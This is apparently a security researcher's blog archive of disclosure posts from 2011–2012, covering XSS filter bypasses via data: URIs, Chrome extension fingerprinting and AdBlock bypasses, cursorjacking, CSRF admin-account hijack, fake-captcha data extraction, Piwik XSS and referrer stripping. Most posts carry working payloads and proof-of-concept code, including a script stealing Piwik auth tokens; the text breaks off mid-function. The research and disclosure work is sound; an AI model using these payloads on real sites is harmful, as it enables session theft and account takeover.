the world. according to koto

Fun with data: URLs

2012-04-06T15:50:00.000+02:00

Data URLs, especially in their base64 encoding can often be used for anti XSS filter bypasses. This gets even more important in Firefox and Opera, where newly opened documents retain access to opening page. So attacker can trigger XSS with only this semi-innocent-link:

<a target=_blank href="data:text/html,<script>alert(opener.document.body.innerHTML)</script>">clickme in Opera/FF</a>

or even use the base64 encoding of the URL:

data:text/html;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwrMTApPC9zY3JpcHQ+

Chrome will block the access to originating page, so that attacker has limited options:

But what if particular XSS filter knows about data: URIs and tries to reject them? We bypass, of course :) I've been fuzzing data: URIs syntax recently and I just thought you might find below examples interesting:

data:text/html;base64wakemeupbeforeyougogo,[content] // FF, Safari
data:text/html:;base64,[content]
data:text/html:[plenty-of-whitespace];base64,[content]
data:text/html;base64,,[content] // Opera

Here are full fuzz results for vector:
data:text,html;<before>base64<after>,[base64content]

Browser	Before (ASCII)	After (ASCII)
Firefox 11	9,10,13,59	anything
Safari 5.1	9,10,13,59	anything
Chrome 18	9,10,13,32,59	9,10,13,32,59
Opera 11.6	9,10,13,32,59	9,10,13,32,44,59

Not a ground-breaking result, but it may come in handy one day for you, like it did for me.

Chrome addons hacking: Bye Bye AdBlock filters!

2012-03-27T15:48:00.000+02:00

Continuing the Chrome extension hacking (see part 1 and 2), this time I'd like to draw you attention to the oh-so-popular AdBlock extension. It has over a million users, is being actively maintained and is a piece of a great software (heck, even I use it!). However - due to how Chrome extensions work in general it is still relatively easy to bypass it and display some ads. Let me describe two distinct vulnerabilities I've discovered. They are both exploitable in the newest 2.5.22 version.

tl;dr: Chrome AdBlock 2.5.22 bypasses, demo here and here, but I'd advise you to read on.

Preparation

If you want to analyze the extension code yourself, use my download script to fetch the addon from Chrome Web Store and read on:

// you need PHP with openssl extension and command line unzip for this
$ mkdir addons
$ php download.php gighmmpiobklfepjocnamgkkbiglidom AdBlock

Of course, you don't need to, but if you won't it makes me sad :/

Small bypass - disabling filter injection

Like many Chrome extensions, AdBlock alters the content of the webpages you see by modifying a page DOM. For example, it injects a <link rel=stylesheet> that hides all ads with CSS. This all happens in adblock_start_common.js:

function block_list_via_css(selectors) {
  var d = document.head || document.documentElement;
//....
  // Issue 6480: inserting a <style> tag too quickly made it be ignored.
  // Use ABP's approach: a <link> tag that we can check for .sheet.
  var css_chunk = document.createElement("link");
  css_chunk.type = "text/css";
  css_chunk.rel = "stylesheet";
  css_chunk.href = "data:text/css,";
  d.insertBefore(css_chunk, null);
// ... and fill the node contents later on

Sweet & cool, right? But the problem is websites have tons of ways to defend themselves from being altered. After all, it's their DOM you're messing with. So, the easiest bypass would be to listen for anyone adding a stylesheet and removing it.

function block(node) {
    if (   (node.nodeName == 'LINK' && node.href == 'data:text/css,') // new style
        || (node.nodeName == 'STYLE' && node.innerText.match(/^\/\*This block of style rules is inserted by AdBlock/)) // old style
        ) {
        node.parentElement.removeChild(node);
    }

}
document.addEventListener("DOMContentLoaded", function() {
    document.addEventListener('DOMNodeInserted', function(e) {
    // disable blocking styles inserted by AdBlock
    block(e.target);
    }, false);
    
}, false);

In the effect the stylesheet is removed and the ads are not hidden anymore. See in the demo. This is similar to how many Chrome extensions work. Extension authors should remember that you can't rely on page DOM to be cool with you, it can actively prevent modification. In other words, it's not your backyard, behave.

Total bypass - Disable AdBlock for good

The previous one was a kid's play, but the real deal is here. Any website can detect if you're using Chrome AdBlock and disable it completely for the future. It is possible thanks to a vulnerability in a filter subscription page. Subscription code works by launching chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/pages/subscribe.html page. Here's what happens:

// pages/subscribe.js
  //Get the URL
  var queryparts = parseUri.parseSearch(document.location.search);
  ...
  //Subscribe to a list
  var requiresList = queryparts.requiresLocation ?
      "url:" + queryparts.requiresLocation : undefined;
  BGcall("subscribe",
      {id: 'url:' + queryparts.location, requires:requiresList});

First, the query string for the page is parsed and than a subscription request is sent to extension background page getting the location parameter. So, when extension launches subscribe.html?location=http://example.com this will subscribe to a filter from URL http://example.com.

All neat, but what extension authors don't know, standard web pages page can load your extension resources too. In the future, extension authors can limit this by using web_accessible_resources, but for Current Chrome 17 it's not possible.

So, what is the easiest way to disable Chrome AdBlock? Make it subscribe to a whitelist-all list:

<iframe style="position:absolute;left:-1000px;" id="abp" src=""></iframe>
//...
document.getElementById('abp').src = 'chrome-extension://'+addon_id + '/pages/subscribe.html?location=' + location.href.replace('disable.html', 'list.txt');

See for yourself in the demo.
To reenable AdBlock functionality go to extension settings, choose the filter list tab and disable the last added filter (koto.github.com one).

How to fix this in the code? Don't rely on the URL of your extension resource to perform some action.

Chrome addons hacking: want XSS on google.com?

2012-02-21T20:42:00.004+01:00

For a few days now I'm checking various Chrome extensions code looking for vulnerabilities (see also the first post of the series). There are many. Most of them due to lazy programming (ignoring even the Google docs on the subject), some are more subtle, coming from poor design decisions.

As for the risk impact though, there are catastrophic vulnerabilities. This is just a sample of what code is committed to Chrome Web Store and can be downloaded as a Google Chrome extension.

How would you like an XSS on google.com?

Chrome extensions can alter the contents of a webpage you're navigating (if they have the permission for the URL). In web security, what is the worst thing you might do when altering HTML document on-the-fly? Of course, XSS. Even if the page itself is totally safe from XSS, an addon might introduce it (it's similar to just entering javascript:code()in address bar) and the page cannot possibly defend from it (more or less).

Google documentation about Chrome extensions warns about this exact threat. But, as it turns out, seeing is believing, so there you go. Let me tell you about some minor extension (196 users as of now, which is the only reason why I'm 0daying now) that allowed me to XSS Google.

Meet Linkify

Linkify Code Review URLs for Google Reader is just what it says on the cover:

If you follow Chromium Code Reviews inside Google Reader, you do want the ability to click on a link. This extension is there for that. And just that.

It upgrades link-like texts for a certain domain in Google Reader site to <a>nchors. How does it do it?

// manifest.json
{
"update_url":"http://clients2.google.com/service/update2/crx",
   "name": "Linkify Code Review URLs for Google Reader™",
   "version": "1.0.0",
   "description": "Does what it says",
   "content_scripts": [ {
      "all_frames": true,
      "js": [ "ba-linkify.min.js", "jquery-1.6.2.min.js", "content.js" ],
      "matches": [ "https://www.google.com/reader/*" ],
      "run_at": "document_start"
   } ]
}

It attaches 3 JS files from extension code into any document from https://www.google.com/reader . The main logic in those files is:

window.addEventListener('DOMNodeInserted', handleEvent, false);

function browseAndLinkify(node) {
  if (!node) {
    return;
  }
  if (node.children && node.children.length > 0) {
    $.each(node.children, function(index, element) {
      browseAndLinkify(element);
    });
  } else {
      if (node.innerHTML.indexOf('http://codereview.chromium.org/') > -1) {
        node.innerHTML = linkify(node.innerHTML);
     }
  }
}

function handleEvent(event) {
  browseAndLinkify(event.target);
}

So every node in the document, when its HTML contains 'http://codereview.chromium.org/', gets linkified (linkifying is converting http://anything to <a href="http://anything">anything</a>)and reinserted it into the DOM using innerHTML. Which smells like XSS.

Exploitation

Manipulating any node in Google Reader to start with http://codereview.chromium.org and having the XSS payload bypassing linkify engine is very simple. In Google Reader search box just start searching for:

http://codereview.chromium.org/"onmouseover="if(!window.a){alert(document.domain);window.a=1}//" ddd

and mouseover. Or, even better, visit this handy URL (of course, with the extension installed):

https://www.google.com/reader/view/#search/http%3A%2F%2Fcodereview.chromium.org%2F%22onmouseover%3D%22if(!window.a)%7Balert(document.domain)%3Bwindow.a%3D1%7D%2F%2F%22%20ddd/

Voila! XSS on www.google.com

Lessons to take

Google Extension authors - don't use innerHTML with anything outside your control. Really!
Users - pay attention to what you're installing.

Intro to Chrome addons hacking: fingerprinting

2012-02-17T19:13:00.001+01:00

tldr; Webpages can sometimes interact with Chrome addons and that might be dangerous, more on that later. Meanwhile, a warmup - trick to detect addons you have installed.

While all of us are used to http / https URI Schemes, current web applications sometimes use other schemes including:

javascript: URIs bypassing XSS filters for years
data: URIs that is a common source of new XSS vulnerabilities
view-source: that may be used for UI-redressing attacks
file: that reads your local files

Tough questions

Throughout the years, there have always been questions on how documents from these schemes are supposed to be isolated from each other (think of it like a 2nd order Same Origin Policy). Typical questions include:

Can XMLHttpRequest from http:// document load a file:// URL? And the other way around?
Can document from https:// load script from http://? Should we display SSL warning then?
Can http:// document have an iframe with view-source: src?
Can data: URI access the DOM of the calling http:// document?
Can file:// URL access a file:// from upper directory (it's not so obvious)
What about:blank?
How to handle 30x redirections to each of those schemes?
What about passing Referer header across schemes?
Can I window.open() across schemes? Would window.postMessage() work?
and many, many more issues

In general, all this questions come down to:

How should we isolate the schemes from each other?
What information is allowed to leak between scheme boundaries?

Every single decision that has been made by browser vendors (or standard bodies) in those cases has consequences to security. There are differences in implementation, some of them very subtle. And there are subtle vulnerabilities. Let me present one example of such vulnerability.

Meet chrome-extension://

Google Chrome addons are packaged pieces of HTML(5) + Javascript applications. They may:

add buttons to the interface
launch background tasks
interact with pages you browse
...

All extension resources are loaded from dedicated chrome-extension:// URLs . Each extension has a global unique identifier. For example,

chrome-extension://oadboiipflhobonjjffjbfekfjcgkhco/help.html is URL representing help.html page from Google Chrome to Phone (you can try it, if you have this extension enabled).

Extension interact with web pages that you visit and have access to their DOM, but the Javascript execution context is separated (they cannot call each other Javascript code - and for a good reason).

However even in this separation model there is still place for page <-> addon cooperation. Malicious HTTP pages might interact with addons in various ways. One simple example is addon enumeration.

Finding your addons one by one

With a little Javascript code I can easily test if you're using a certain Chrome addon. Give me a list of most popular extensions and I'll test all of them in milliseconds. Why would I want that as an attacker?

to fingerprint your browser (ad networks love this)
to start attack against a certain known vulnerable addon (wait for the next post for this ;) )

See demo of Chrome addons fingerprinting. (src here)

How?

The trick is dead simple:

var detect = function(base, if_installed, if_not_installed) {
    var s = document.createElement('script');
    s.onerror = if_not_installed;
    s.onload = if_installed;
    document.body.appendChild(s);
    s.src = base + '/manifest.json';
}
detect('chrome-extension://' + addon_id_youre_after, function() {alert('boom!');});

Every addon has a manifest.json file. In http[s]:// page you can try to load a script cross-scheme from chrome-extension:// URL, in this case - the manifest file. You just need the addon unique id to put into URL. If the extension is installed, manifest will load and onload event will fire. If not - onerror event is there for you.
Update: TIL the technique was already published by @albinowax. Cool!

This is just one simple example of punching the separation layer between addons and webpages. There are more coming. Stay tuned.

Cursorjacking again

2012-01-18T14:33:00.002+01:00

About a year ago, Marcus Niemietz demonstrated UI redressing technique called cursorjacking. It deceived users by using a custom cursor image, where the pointer was displayed with an offset. So the displayed cursor was shifted to the right from the actual mouse position. With clever positioning of page elements attacker could direct user clicks to desired elements.

Cursor fun

Yesterday Mario Heiderich noticed that

<body style="cursor:none">

works across User-Agents, so one could easily totally hide the original mouse cursor. Combine that with mousemove listener, mouse cursor image and a little distraction and we have another UI redressing vector. The idea is very simple:

<body style="cursor:none;height: 1000px;">
<img style="position: absolute;z-index:1000;" id=cursor src="cursor.png" />
<button id=fake style="font-size: 150%;position:absolute;top:100px;left:630px;">click me click me</button>
<div style="position:absolute;top:100px;left:30px;">
<a href="#" onclick="alert(/you clicked-me-instead/)">i'm not important</a>
</div>
<script>
  var  oNode = document.getElementById('cursor');

  var onmove = function (e) {  
    var nMoveX =  e.clientX, nMoveY =  e.clientY; 
    oNode.style.left = (nMoveX + 600)+"px";  
    oNode.style.top = nMoveY + "px";  
  }; 
  document.body.addEventListener('mousemove', onmove, true);
</script>
</body>

The one on the left is real, right is fake. The idea is to distract you from noticing the left one.

Demo

It's just a sketch (e.g. in real life one would have to handle skipping mouse cursor when it's over a frame), but it works nonetheless. Try this good cursorjacking example ;) Here's sources for anyone interested.

Bonus

NoScript ClearClick (a clickjacking protection) works, because it detects clicks on areas that are hidden from the user (e.g. with opacity:0). With cursorjacking the protection won't get triggered as attacker is not hiding the original element to click on (Twitter button in the PoC). The only deception is distraction. So, currently, this technique is a NoScript ClearClick protection bypass.
Update: Fixed in NoScript 2.2.8 RC1

Beatthis! oracle crypto xmas challenge

2011-12-17T15:40:00.001+01:00

It's this time of the year, and I'm sitting here and launching Beathis oracle! crypto xmas challenge for you guys. Enjoy! It's a bit different than the last but I like it more. There's only one level, but it should be challenging.

Geocommons.com admin account hijack

2011-11-22T15:31:00.000+01:00

Potato chips, post-it notes, LSD and Viagra - all these things were discovered by accident. As it seems, sometimes great discoveries come by a surprise. I've had my moment of surprise lately. It all started during my research on sites using Cross Origin Resource Sharing. You know me, I just have to check the real-world HTML5 implementations. So there I am, checking sites implementing CORS headers. Geocommons.com is one of them - and this is the story of how geocommons got really common.

GeoCommons is the public community of GeoIQ users who are building an open repository of data and maps for the world. The GeoIQ platform includes a large number of features that empower you to easily access, visualize and analyze your data.

There was a critical vulnerability in geocommons.com website allowing any user to change e-mail address of administrative user and hijack the admin account. According to vendor, vulnerability is now fixed.

The simple vuln

Every user of geocommons.com is allowed to manage his/hers account credentials. Among other features, he's allowed to change the e-mail address. These functions are accessible by sending POST requests to http://geocommons.com/users/[user-id] URL. Sample POST content changing e-mail address of an account looks like this:

_method=put&user%5Bemail%5D=email@example.com&commit=Save&user%5Bterms_of_use%5D=1

I quickly confirmed that the form is vulnerable to CSRF. CSRF allows for form submission on behalf of any user logged in to geocommons.com. Knowing user ID (it needs to be in URL) attacker can convince user to visit a page sending POST request changing user's e-mail address.

Close, but no cigar. Sure, attacker can send thousands of requests and one of them would finally succeed (once he reaches the correct user id).

Moment of surprise

Just to check, I started doing some PoC. I created a user (his ID was 35 thousands something), and made him visit the CSRF page:

 for (var i = 0; i < 50000; i++) {
        post = {
            '_method':'put',
            'user[email]': 'securityvictim+exploit' + i + '@gmail.com',
            'commit' : 'Save',
            'user[terms_of_use]':'1',
        };
        
        $.ajax({
            url: 'http://geocommons.com/users/' + i,
            data: post,
            type: 'POST',
            complete: function() {console.log(user)}
        });

The code tried to replace user email with my securityvictim@gmail.com email (with +tag). Well, it was slow as hell. So I stopped. Just to check if anything succeeded, I browsed the geocommons.com site and searched for users with that email.

WTF????

I replaced admin account e-mail!

As it turned out, there is also a critical vulnerability, allowing ANY user to change admin account e-mail address. One only needs to submit the form to http://geocommons.com/users/1 (1 is user id of admin). Bitter CSRF just got a lot sweeter :)

Combining these two vulnerabilities, it is possible for an attacker to submit a form changing admin e-mail, while leaving all the traces to victim who was CSRFed. After changing the e-mail address to one under his control, attacker can simply use forget password feature of the site to get the new temporary password and effectively hijack the admin account of geocommons.coms

See for yourselves

Form submission

with new email

And a password reset

... sent conveniently to attacker's account

And all the admin goodies...

What's interesting, it's only admin (id=1) account that is so special, I cannot change the email of any other user (apart from myself). It might have something to do with the fact that admin can change properties of any other user, but who knows...

Timeline:
6.10.2011 - vulnerability discovered, PoC made
7.10.2011 - vendor notified & replied
11.10.2011 - vendor comment: issue fixed in codebase, we will be deploying soon
25.10.2011 - vendor comment: we are deploying today
22.11.2011 - public disclosure

Notes for developers

Protect against CSRF by using unique nonces. CSRF is serious!
If you're trying to protect only some of the forms (e.g. login form, password change form), always remember that e-mail address change form (or. e.g. security question change) form is equally important! With CSRF flaw there, attacker does not need to know the password, he can switch the e-mails and use the forget password feature to regenerate one.

HTML5: Something wicked this way comes - HackPra materials

2011-11-22T14:28:00.001+01:00

Last week I had a pleasure of giving a lecture talk for HackerPraktikum (HackPra) course at Ruhr-Universität Bochum. The talk entitled HTML5: Something wicked this way comes described various HTML5 / UI redressing techniques for attacking websites & Chrome extensions. There is also some unpleasant surprise for Google Chrome to Phone users.

I've just published the slides from the talk:

Html5: something wicked this way comes - HackPra

View more presentations from Krzysztof Kotowicz

Courtesy of RUB, there is also a video recording of the talk.

Google eBookstore content extraction

2011-11-09T21:53:00.000+01:00

Two months ago I discovered UI redressing vulnerability in Google eBookstore. This has been reported to Google and has been quickly fixed. Following is a description of the vulnerability:

tl;dr: fake captcha on Google eBookstore + how to deal with dynamic line numbers.

Some of the pages at http://books.google.com containing user private data did not use frame-busting X-Frame-Options header. It was possible to create UI redressing attack to trick user into extracting that data into malicious webpage.

Extracted data included:

Google user name (name / surname) of logged in user
Google email of logged in user
Google Books User ID (uid)
Anti CSRF tokens (sig) used on other pages to add / delete books
possibly other data that might aid in further attacks on Google books or other Google services

Affected browsers: Firefox (framed view-source: needs to be displayed)

Demo

In the demo user (with empty bookshelf) was presented with a fake security code entry form. This might be disguised as an application registration form, fake captcha etc. An iframe with view-source:http://books.google.com/ebooks is displayed instead of the security code input field. The security code is actually a part of the http://books.google.com/ebooks page source (last line).

Dynamic line numbers

The last line number could be constant here (32), but I encountered accounts that have rendered HTML with different amount of lines.
Therefore the lines are slowly scrolling from 35 down and user is asked to pause the scrolling process as soon as he sees content (last line will be displayed then).

Here's the code for that:

    var height = Jacksploit.line_height();
    
    // i need to blindly determine the last line of the html source. Safe bet would be 32,
    // but to make it handle a different value I scroll upwards and depend on user 
    // to pause the scrolling
    
    function move() {
        var f = $("#one").contents()[0].getElementById('inner');
     f.style.top = parseInt(f.style.top,10)+height;
    }
    
    $('#one').load(function() { $("#register").show(); }).attr('src', url);

 var interval = setInterval(move, 2000);

 $("#pause").click(function() {
  clearInterval(interval);
 });

By tricking the user into copying (triple click, ctrl-c) and pasting the "security code" into a real form field below attacker gets access to private data (whole last line of HTML source is copied). To demonstrate this, some user data is extracted and echoed back to user, tokens are also reused to add "Alice in Wonderland" into user's bookshelf.

Note: This exploit uses Fake captcha content extraction technique that requires clipboard usage. There are other techniques for the same purpose like double drag & drop that have different requirements for triggering the exploit, but it's still the same vulnerability underneath: no X-Frame-Options header on pages containing user data. Developers - please use the header instead of trying to framebust in Javascript.

Reporting this vulnerability earned me an honorable mention in Google Security Hall of Fame.

Piwik ≤ 1.5.1 multiple XSS vulnerabilities

2011-10-31T12:58:00.000+01:00

Some time ago I discovered a few interesting XSS vulnerabilities in Piwik Open Source Web Analytics software. Thanks to developers, all of those are now fixed in Piwik 1.6. But nonetheless, these are not the usual XSS cases, so I found them interesting enough to publish this.

Piwik is a downloadable, open source (GPL licensed) real time web analytics software program. It provides you with detailed reports on your website visitors: the search engines and keywords they used, the language they speak, your popular pages… and so much more.

Piwik aims to be an open source alternative to Google Analytics, and is already used on more than 150,000 websites.

Reflected XSS in meta redirect

It's a XSS vulnerability for IE6 users in default Piwik installation in the current version (1.5.1), older versions are possibly also affected (not tested).

Piwik user interface (where you can browse statistics for your website etc.) in a few places redirects you to main Piwik site (*.piwik.org). It does so by using meta refresh, but to avoid open redirect vulnerability it tries to do that only for legitimate Piwik URLs (*.piwik.org). However, url request parameter used in plugins/Proxy/Controller.php redirect() function is sanitized only using "standard" Anti-XSS methods, removing <>," and other entities.

This is the body of the method:

public function redirect()
{
       $url = Piwik_Common::getRequestVar('url', '', 'string', $_GET);

       // validate referrer
       $referrer = Piwik_Url::getReferer();
       if(!empty($referrer) && !Piwik_Url::isLocalUrl($referrer))
       {
               die('Invalid Referer detected - check that your browser sends the Referer header. <br/>The link you would have been redirected to is: '.$url);
               exit;
       }

       // mask visits to *.piwik.org
       if(self::isPiwikUrl($url))
       {
               echo
'<html><head>
<meta http-equiv="refresh" content="0;url=' . $url . '" />
</head></html>';
       }
       exit;
}

The URL is directly outputted in meta header only if it's a "Piwik URL":

static public function isPiwikUrl($url)
{
       if(preg_match('~^http://(qa\.|demo\.|dev\.|forum\.)?piwik.org([#?/]|$)~', $url))
       {
               return true;
       }
       return false;
}

However, even with those restrictions attacker can trigger XSS in Internet Explorer 6, because that browser has two interesting features:

it allows to specify multiple URLs in meta refresh (and uses only the last one)
it allows javascript: URLs in meta refresh

We can use 1) to bypass isPiwikUrl() restriction and 2) to trigger XSS. The exemplary payload is demonstrated in the image below:

Sweet, sweet alert()

What could you do with such an XSS? I prepared more advanced exploit trying to get the login and auth token of the Piwik user by tricking him into visiting malicious URL. The sample exploit looked like this:

// inject with 
// &url=http://piwik.org/;url=javascript:(function(d){(s=d.createElement('script')).src='//url-of-the-code-below/'%2BMath.random(),d.body.appendChild(s)})(document);

var url = 'http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js';

(function(d){(s=d.createElement('script')).src=url;d.body.appendChild(s)})(document);
(function(d){(s=d.createElement('p')).innerText="Please wait...";d.body.appendChild(s)})(document);

setTimeout(function() {
 $("<div>").load('index.php', function(data) {
   alert("url:" + piwik.piwik_url + "\nlogin: " + piwik.userLogin + "\ntoken: " + piwik.token_auth);
  });

}, 2000);

In my exemplary installation, as soon as the user was logged in (or used remember me cookie, so that Piwik would autologin him anyway), I was able to successfully steal these information and that allowed me to hijack the session:

Steal login auth cookie

Lessons to learn - you should disallow semicolon in URL displayed in the meta refresh header. XSS is really a context-sensitive b*tch.

Timeline:
29.07.2011 - Notified vendor
30.07.2011 - Vendor replied
31.07.2011 - Vendor confirmed the issue
29.09.2011 - Issue fixed in SVN
18.10.2011 - Piwik 1.6 with the fix released

Stored Cross Site Scripting via data: URI

To gather statistics for a site, Piwik uses a tracker script that's being requested from the monitored website with current URL as a script parameter. Piwik allows & logs any kind of URI in its tracker 'url' parameter, including potentially malicious data: and javascript: URIs It is possible to inject these kind of URIs by manually calling piwik tracker (piwik.php) - that allows attacker to easily plant the XSS payload.
Logged in piwik user can see & browse the tracked URLs in Visitors / Visitors Log menu (Live plugin, getVisitorLog action).
These URLs are properly escaped and are displayed using <a href='' target=_blank> tag, so they will open in a new window. Clicking on malicious URL will execute the stored XSS payload

XSS: In Opera (11.5) and Firefox (5) the new window with javascript: / data: URI location shares the same origin as opener, allowing for XSS - in this example, the token_auth of a logged in user is displayed (but this can of course be leveraged to transfer the token to attacker). In this scenario, Piwik user must be tricked into clicking the data: OR javascript: URL in the Visitor Log to exploit this vulnerability. A convincing URL title (also controlled by the attacker) could be used for this purpose.
Clickjacking: The Visitors / Visitors Log menu page is displayed without any form of frame busting, so it's possible to launch the previous attack as clickjacking. The only thing required from a logged in Piwik user is a single click on an (possibly invisible) frame. First, a Piwik tracker is used to log a malicious URL visit. Second, a frame positioned to this URL in visitor log is displayed with 0 opacity and user is enticed to click on the frame using social engineering. Once again, Opera (11.5) or Firefox (5) is required.

Piwik 1.5.1 Log action with the payload

Timeline:
05.08.2011 - Notified vendor
08.08.2011 - Vendor confirmed the issue
29.09.2011 - Issue fixed in SVN
18.10.2011 - Piwik 1.6 with the fix released

Stored XSS in layout parameter

Piwik dashboard displays widgets with various site statistics. User can drag & drop the widgets into various places in interface to reorder them. The ordering and setup of the widgets is stored on server. For anonymous user the storage container is session data, for logged in users the settings are stored in database.
Saving the layout is done by issuing AJAX call with 'layout' parameter being the serialized JSON with the settings.
Exemplary settings are displayed below:

[[{"uniqueId":"widgetVisitsSummarygetEvolutionGraphcolumnsArray","parameters":{"module":"VisitsSummary","action":"getEvolutionGraph","columns":["nb_visits"]}},{"uniqueId":"widgetLivewidget","parameters":{"module":"Live","action":"widget"}},{"uniqueId":"widgetVisitorInterestgetNumberOfVisitsPerVisitDuration","parameters":{"module":"VisitorInterest","action":"getNumberOfVisitsPerVisitDuration"}},{"uniqueId":"widgetExampleFeedburnerfeedburner","parameters":{"module":"ExampleFeedburner","action":"feedburner"}}],[{"uniqueId":"widgetReferersgetWebsites","parameters":{"module":"Referers","action":"getWebsites"}}],[{"uniqueId":"widgetReferersgetKeywords","parameters":{"module":"Referers","action":"getKeywords"}},{"uniqueId":"widgetUserCountryMapworldMap","parameters":{"module":"UserCountryMap","action":"worldMap"}},{"uniqueId":"widgetUserSettingsgetBrowser","parameters":{"module":"UserSettings","action":"getBrowser"}},{"uniqueId":"widgetReferersgetSearchEngines","parameters":{"module":"Referers","action":"getSearchEngines"}},{"uniqueId":"widgetVisitTimegetVisitInformationPerServerTime","parameters":{"module":"VisitTime","action":"getVisitInformationPerServerTime"}},{"uniqueId":"widgetExampleRssWidgetrssPiwik","parameters":{"module":"ExampleRssWidget","action":"rssPiwik"}}]]

When displaying the dashboard, layout setting are retrieved and echoed back to user in a JS variable:

piwik.dashboardLayout = [[{"uniqueId":"widgetVisitsSumma...

Layout parameter is only minimally sanitized before storing it, there's a HTML escaping when storing, but that gets unescaped with html_entity_decode() on display:

// plugins/Dashboard/Controller.php

  // layout was JSON.stringified
  $layout = html_entity_decode($layout);
  $layout = str_replace("\\\"", "\"", $layout);

  // compatibility with the old layout format
  if(!empty($layout)
   && strstr($layout, '[[') == false) {
   $layout = "'$layout'";
  }

Injecting a specially formatted layout parameter will cause XSS. Exemplary payload:

[[]];alert(12345)

resulting in attacker's code execution

piwik.dashboardLayout = [[]];alert(12345);

Saving layout requires access to the Dashboard, and, unless the user is anonymous, attacker needs to know the token_auth value of the victim user, so installations which allow anonymous access to dashboard for any website statistics are affected most. Solution was to sanitize incoming 'layout' parameter e.g. with json_encode() before storing it in database / session and skip support for the old 'string' format of the parameter. Related read: how to validate JSON properly.

Timeline:
17.08.2011 - Notified vendor
12.10.2011 - Issue fixed in SVN
18.10.2011 - Piwik 1.6 with the fix released

Summary

Developers - XSS is really about context. Escaping < > and " is not enough! In all described cases attacker could execute Javascript code without using any of those forbidden characters, because the context was different. In these cases XSS was triggered by:

meta refresh URI parameter (; was dangerous there because of IE bug)
URI that didn't begin with http://
JSON that was not validated correctly

You could htmlspecialchars() all of these and it wouldn't help at all.

I'd like to thank Piwik team for cooperation in fixing these bugs. Throughout the process we exchanged several emails and the communication was exemplary. They're great to work with - and the software is good too - apart from the issues found ;)

Poor Princess Leia! Tumblr.com CSRF domain hijack

2011-10-28T01:30:00.000+02:00

Tumblr.com is a microblogging platform with over 32 millions of users, with Alexa global rank of 45. Tumblr.com had a CSRF vulnerability on blog settings page
http://tumblr.com/tumblelog/[blog-name]/settings that allowed for launching targeted attacks against a specified blog to hijack its domain and perform other potentially severe actions on behalf of a victim user.
The page allowed POST requests with new blog settings. It did not have any CSRF tokens (like other forms at Tumblr), but used HTTP referrer checking instead. Requests with 3rd party referrer value triggered 403 Forbidden error. However, empty referrers went through. And that was bypassable by client side referrer strip.

Blog settings form allowed attacker to:

change blog domain name (leaving the original free to hijack for the attacker)
forward blog RSS requests to given FeedBurner URL (hijacking RSS subscribers)
change user's avatar (defacement)
mark / unmark the blog as NSFW
and other similar things...

The whole technique required no user intervention and worked in Chrome, Safari or Firefox. To exploit this vulnerability attacker needed to:

know the blog domain name (e.g. http://victim.tumblr.com)
entice owner of target domain (being simultaneously logged in to Tumblr) to visit webpage with malicious code

// change the location to data URI meta refresh to lose referrer
// the final page loaded will include exploit script 
location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,<body><h1>Loading...</h1><script src='+location.href+ '/../../lib/common.js></scr'+'ipt><script src=' + location.href + '/../exploit.js></scr'+'ipt></body>"></html>';

The actual exploit code stored in exploit.js is nothing fancy, so it's left as an exercise to the reader. It's a Cross Origin Resource Sharing CSRF request with silent file upload. So Tumblr joins the gallery of top sites with CSRFable file upload forms, together with Flickr, Imgur, Facebook and minus.com.

Demo

This attack has limited applicability as attacker needs to POST to a URL containing blog domain name, so it's usable in targetted attack scenario. This is a demo of such an attack. Watch the story of Darth Vader who is looking for Han Solo...

Timeline

23.10 - discovered & confirmed vulnerability
24.10 - contacted security@tumblr.com, auto response from support@tumblr.com
25.10 - vendor response, full details sent
28.10 - vulnerability fixed (token added to form), public disclosure

Final words

Tumblr: have a dedicated security contact listed somewhere on your website. Putting security vulnerabilities reporting to standard support queue is not a good idea!

Developers: use tokens, don't rely on referrer!

Stripping Referrer for fun and profit

2011-10-24T16:52:00.000+02:00

tldr: New methods for client side only (no server side script) referrer stripping in POST & GET requests. Code at the end.

Referer is that tiny bit of information that browser sends to servers while you click your way through interwebs, always carrying the URL of the webpage you've clicked the link at (more or less). It's useful for webdevelopers. For example, if they know you've reached their page from Google search results they can tailor the webpage especially for you. Of course, it's a privacy leak, so users can turn off referrer sending in current browsers. All in all, Referer is usually spoken in SEO circles, which is not my pair of shoes. However, at least one thing makes Referer very interesting from security point of view.

Are you me?

Sometimes it's used as an access control mechanism. It all began with hotliking. Spammy websites started republishing content (e.g. images) from other websites, simply using <img src="http://original-website.example.com/image.jpg" /> . While the spammy page looked ok for the viewers, it was stealing bandwidth (and content) from the original website. So to prevent this, websites started checking the Referer header that was added by the browser to image requests. If the referrer URL was from the original website, server would return the image. If it was from a 3rd party (http://spammy-website.info), it would return 403 or something else, so the spammy websites stopped looking good anymore.

Do no evil!

Then came Cross Site Resource Forgery. Visiting a malicious website when being simultaneously logged in to some vulnerable application caused havoc. This malicious website could send dangerous requests to the original vulnerable app and e.g. delete your account, change your e-mail address or set up a mail filter. Some web developers started adding simple defense mechanism: just check the referrer!

if it's our original application URL, process the request
in other cases, deny

There - case solved. Only pages from legitimate location could make successful requests. But this quickly gave some problems - what about users that disabled referrer sending? They wouldn't be able to use the application at all. For many websites, this was quickly corrected - for missing referrer, give the benefit of doubt and allow.

Stripping for the client!

Of course, it's a very weak spot and attackers quickly tried to use it to their advantage. The goal was simple: Strip referrer, keep the cookies. There are many ways for attackers to lose referrer using some server side redirect etc. You can even fake that header. How? Just check how referer.us does it. But I wanted something different. I wanted to be able to make arbitrary cross origin POST / GET requests with stripping referrer header using no server-side script whatsoever. Only client-side techniques. I couldn't find any previous tries for this and only found old mentions about meta redirects. There of course are several known attempts of server-side techniques e.g. Jeremiah Grossman directed me to an example from 2006 of doing this with Flash.

Why client side only? Sometimes, as an attacker, you don't have control over the server at all, you can only inject some HTML (e.g. XSS) in a secondary host the victim user will be directed to. Client side only has fewer requirements to plant an attack.

Was it good?

Pretty good actually. Dealing with multiple browser quirks I was able to strip the referrer in every major browser for GET requests and in Firefox / WebKit for POST requests. Here's how:

function lose_in_webkit(url) {
 // chrome loses it in data uris
 location = "data:text/html,<script>location='" + url + '&_=' + Math.random() + "'</scr"+"ipt>";
 return false;
}

function lose_in_ie(url) {
 // ie loses referer in window.open()
 window.open(url + '&_='+Math.random());
}

function lose_in_ff(url) {
        // ff needs data:uri  AND meta refresh. Firefox, WebKit and Opera
